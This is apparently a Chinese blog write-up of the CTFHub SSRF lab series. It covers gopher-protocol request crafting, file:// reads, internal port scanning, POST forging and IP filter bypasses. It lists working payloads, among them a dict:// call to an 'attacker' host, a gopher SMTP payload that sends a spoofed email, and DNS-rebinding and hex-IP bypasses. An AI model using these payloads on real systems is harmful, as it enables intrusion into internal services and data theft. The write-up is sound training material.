ctfhub的ssrf部分复现
CTFhub ssrf
前置知识
Gopher协议
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。
gopher的协议格式如下:
1 | gopher://<host>:<port>/<gopher-path>_<TCP数据流> |
但是gopher协议在各个语言中是有使用限制的。
语言 | 支持情况 |
---|---|
PHP | –wite-curlwrappers且php版本至少为5.3 |
Java | 小于JDK1.7 |
Curl | 低版本不支持 |
Perl | 支持 |
ASP.NET | 小于版本3 |
Gopher协议传递GET请求
gopher在发送请求时候,必须进行URL编码
我本地准备PHP代码如下
1 |
|
http访问并抓包
get型的http数据包如下
1 | GET /testg.php?name=xxx HTTP/1.1 |
直接在Burpsuite 中将数据进行编码(比较方便)
编码的时候在最后一定要补%0d%0a代表结束。
Burpsuite编码后
1 | %47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32 |
结尾没有%0d%0a我们手动添加一下。
转换为gopher
1 | curl gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a |
Gopher协议传递POST请求
修改本地代码如下
1 |
|
我们用gopher协议传递POST请求时,必须要包含这四个,还有一个post传参。
转换为gopher
1 | curl gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a |
ctfhub ssrf的内网访问
一进去页面是空白的,不过根据题目提示:
1 | 尝试访问位于127.0.0.1的flag.php吧 |
同时我们可以发现url参数是:
1 | http://challenge-3838ac66a8862c7b.sandbox.ctfhub.com:10800/?url= |
所以在url参数后面直接输入:
1 | 127.0.0.1/flag.php |
就得到了flag.
ctfhub ssrf的伪协议读取文件
老规矩,题目里有提示:
1 | 尝试去读取一下Web目录下的flag.php吧 |
同时题目又告诉我们是用伪协议读取web目录下的文件:
而web目录下的文件一般放在/var/www/html下:
所以我们就用最简单的file://协议进行读取,payload如下:
1 | ?url=file:///var/www/html/flag.php |
页面显示???,直接f12查看源代码就得到了flag。
ctfhub ssrf的端口扫描
题目提示让我们扫描8000到9000端口的,所以在这里就用burpsuite来爆破一下,在参数里随便写一个端口,转到burp
1 | ?url=127.0.0.1:8727 |
设置增量为1,范围是8000到9000,如果觉得爆破太慢,可以在选项里调线程数,根据长度找到我们要找的端口,在浏览器进行访问就得到了flag
ctfhub ssrf的POST请求
302跳转的302是状态码
表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL
这里可以通过访问302.php,并且传参gopher来伪造本地访问
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议
可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。
那么Gopher协议需要如何构造妮?
其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码
我们来看看Gopher协议的基本协议格式
gopher://:/_后接TCP数据流
题目页面空白,尝试访问127.0.0.1/flag.php
有一个搜索框,f12查看源码发现:
发现了key,将其中的值放到输入框,按下回车
显示只能从127.0.0.1访问,用file://伪协议访问一下index.php和flag.php,在f12里发现源码
index.php,
1 | <!--?php |
flag.php
1 | <!--?php |
一个比较好的思路:目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。
我们需要构造:?url=127.0.0.1:80/index.php?url=(利用gopher协议传入post请求)
1 | POST /flag.php HTTP/1.1 |
注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码
在第一次编码后的数据中,将%0A全部手动替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。
可以直接使用脚本
1 | import urllib.parse |
将跑出来的值在index.php下提交给url即可(因为index.php源码里说到可以url传参)
ctfhub ssrf的上传文件
题目提示:
1 | 这次需要上传一个文件到flag.php |
所以用file://伪协议访问flag.php
看一下题目源码:
1 | <!--?php |
提示我们只允许从内网访问,否则会被拦截,同时我们发现前端并没有提交按钮,所以需要在前端代码中添加以下代码:
1 | <input type="submit" name="submit"> |
这样就搞定了
随便上传一个文件,得到如下图:
只允许从本地访问,抓包
1 | 我们把host那里改成127.0.0.1:80 |
然后进行gopher协议的使用,就可以成功得到flag:
ctfhub ssrf的URLbypass
这里就烁一下关于ssrf的绕过方式
1.攻击本地
1 | http://127.0.0.1:80 |
2.利用[::]
http://[::]:80/ =>http://127.0.0.1
不加端口的话是http://[::]/
3.利用@
这里就是在指定的网址后加@+127.0.0.1
4.利用短域名
http://dwz.cn/11SMa >>> http://127.0.0.1
下面两个都是直接访问本地127.0.0.1/flag.php
5.利用特殊域名
原理是DNS解析
http://www.owasp.org.127.0.0.1.xip.io/
6.利用DNS解析
在域名上设置A记录,指向127.0.0.1
7.利用上传
修改”type=file”为”type=url”
比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
8.利用句号
127。0。0。1=>127.0.0.1
9.进行进制转换
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
10.利用特殊地址
11.利用协议
Dict://
dict://@:/d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
题目
题目有一个提示说是:
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
直接构造payload:
1 | ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php |
直接就得到了flag。
ctfhub ssrf的数字IP Bypass
题目给了hint
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
告诉我们不能用十进制了

因为不能用十进制,所以我们试一下十六进制可不可以,127.0.0.1转换为十六进制是0x7F000001,访问就拿到了flag。
ctfhub ssrf的302by pass
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
还是先试一下127.0.0.1/flag.php,访问一下,返回如下:

接下来就是试一试URL bypass提到的绕过方式吗,发现直接替换成localhost就成功了
1 | ?url=localhost/flag.php |
ctfhub ssrf的DNS重绑定
进来就先试
1 | ?url=127.0.0.1/flag.php |
使用题目所给链接。到DNS重绑定的一个工具里
将那个7f000001.7f000002.rbndr.us替换127.0.0.1构造payload
1 | ?url=7f000001.7f000002.rbndr.us/flag.php |
成功了